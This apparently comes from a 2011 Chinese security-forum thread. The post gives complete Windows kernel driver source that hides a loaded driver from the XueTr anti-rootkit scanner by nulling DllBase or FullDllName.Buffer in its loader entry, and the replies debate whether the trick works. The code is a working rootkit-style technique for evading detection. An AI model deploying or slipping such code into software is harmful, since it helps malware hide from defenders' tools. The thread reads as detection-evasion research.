查看: 11999|回复: 23
收起左侧

[原创文章] 隐藏驱动,绕过XueTr 0.39检测

  [复制链接]
KiDebug
发表于 2011-5-27 20:34:03 | 显示全部楼层 |阅读模式
本帖最后由 KiDebug 于 2011-5-28 13:37 编辑

【提示】

过XueTr、RKU、ARK、XXK、RXX…请参考MJ的文章:
绕过现代Anti-Rookit工具的内核模块扫描
http://hi.baidu.com/mj0011/blog/ ... f187ddb58f3177.html


当系统加载一个驱动时,会为这个驱动建立一个_KLDR_DATA_TABLE_ENTRY结构体,DRIVER_OBJECT结构体的DriverSection成员指向这个结构体。以下是WRK中_KLDR_DATA_TABLE_ENTRY结构体的定义:

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    PVOID ExceptionTable;
    ULONG ExceptionTableSize;
    // ULONG padding on IA64
    PVOID GpValue;
    PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT __Unused5;
    PVOID SectionPointer;
    ULONG CheckSum;
    // ULONG padding on IA64
    PVOID LoadedImports;
    PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

其中 PVOID DllBase; 成员指明了驱动的加载基址;
UNICODE_STRING FullDllName;指明了驱动.sys文件的全路径;
所有驱动的结构体通过InLoadOrderLinks成员链接起来,链表头部为PsLoadedModuleList,因此可以通过遍历PsLoadedModuleList来得到所有加载的驱动。

在测试中发现,如果将某一驱动的DllBase或FullDllName.buffer填为0,那么XueTr就不会显示这个驱动,以下是将DllBase填0时的验证代码:

/*
* 【作者:KiDebug】
* 【空间:http://hi.baidu.com/KiDebug/
*/
#include <ntddk.h>

//偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  BaseDllName;
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

PVOID   pDllBase;

VOID Reinitialize( PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count )
{
    ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0
}

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
    ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;//恢复DllBase,以便驱动能顺利卸载
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
    DriverObject->DriverUnload = testUnload;
    pDllBase    =   ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;
    IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);
    return STATUS_SUCCESS;
}


用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后用XueTr查看“驱动模块”,里面没有test.sys;用IceSword.exe 1.22查看“内核模块”,可以看到test.sys的存在。


以下是将FullDllName.buffer填为0时的验证代码:

/*
* 【作者:KiDebug】
* 【空间:http://hi.baidu.com/KiDebug/
*/
#include <ntddk.h>

//偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  BaseDllName;
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
    DriverObject->DriverUnload = testUnload;
    ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer=NULL;
    return STATUS_SUCCESS;
}


先用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后双击打开IceSword.exe 1.22,提示“程序初始化失败,错误代码1”,然后提示“无法初始化,程序退出”;双击打开PowerTool.exe 3.6.2,蓝屏。
打开XueTr.exe 0.39,查看“驱动模块”,显示有可疑驱动的存在,如果在WinDBG中手动将ntkrnlpa.exe对应的FullDllName.buffer填为0,XueTr不会显示ntkrnlpa.exe的存在。

浓缩版:
1:DllBase填0,无可疑驱动
2:FullDllName.buffer填0,有可疑驱动
3:XueTr 0.39
4:没有建立DeviceObject

评分

参与人数 5经验 +15 人气 +4 收起 理由
change_018 + 1 支持技术交流
边缘vip + 15 支持技术交流!
ithurricane + 1
dl123100 + 1
小v可 + 1 很给力!

查看全部评分

网络安全
发表于 2011-5-27 20:54:34 | 显示全部楼层
哈哈,膜拜高手。
dl123100
发表于 2011-5-27 21:03:39 | 显示全部楼层
本帖最后由 dl123100 于 2011-5-27 23:15 编辑

很久以前XueTr的内存搜索PE应该是可以显示出驱动名的。
即使抹掉这两处,XueTr的内存搜索DriverObject应该也是可以搜到的,只是最近几版做了调整,不一定能显示。
另外要对抗XueTr枚举隐藏驱动本身就不难,把该抹的都抹掉就行了。楼主抹的这两处就算XueTr,其它很多ark应该都能检测到。
kafan988
发表于 2011-5-27 22:56:41 | 显示全部楼层
这个是高手啊
shenwei37
发表于 2011-5-27 22:57:38 | 显示全部楼层
葱白
dl123100
发表于 2011-5-27 23:14:40 | 显示全部楼层
测试了下,楼主的两种方法均过不了XueTr 0.39公开版。
KiDebug
 楼主| 发表于 2011-5-27 23:38:58 | 显示全部楼层
dl123100 发表于 2011-5-27 23:14
测试了下,楼主的两种方法均过不了XueTr 0.39公开版。

我是在http://www.xuetr.com/下的XueTr 0.39:http://xuetr.com/download/XueTr.zip,虚拟机是Windows XP SP3中文版全补丁。只改DllBase,XueTr无法查到;只改FullDllName.buffer,XueTr显示有可疑驱动。
dl123100
发表于 2011-5-27 23:43:28 | 显示全部楼层
KiDebug 发表于 2011-5-27 23:38
我是在http://www.xuetr.com/下的XueTr 0.39:http://xuetr.com/download/XueTr.zip,虚拟机是Windows XP ...

虚拟机下先用windbg改DllBase,用XueTr 0.39、0.40都能检测到可疑驱动;再FullDllName.buffer,XueTr一样显示有可疑驱动。
另外XueTr可能检测不到的原因3楼已经说了,近期不准备看这部分。
KiDebug
 楼主| 发表于 2011-5-27 23:45:40 | 显示全部楼层
dl123100 发表于 2011-5-27 23:43
虚拟机下先用windbg改DllBase,用XueTr 0.39、0.40都能检测到可疑驱动;再FullDllName.buffer,XueTr一样 ...

你驱动里面建了DeviceObject了吧?
dl123100
发表于 2011-5-27 23:56:34 | 显示全部楼层
KiDebug 发表于 2011-5-27 23:45
你驱动里面建了DeviceObject了吧?

改的几个驱动确实都有DeviceObject 太晚了 无法继续测试
不过XueTr检测到可疑驱动是基于内存搜索DriverObject  XueTr不像CodeWalker之类的会搜索DeviceObject
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-4-26 06:29 , Processed in 0.137822 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表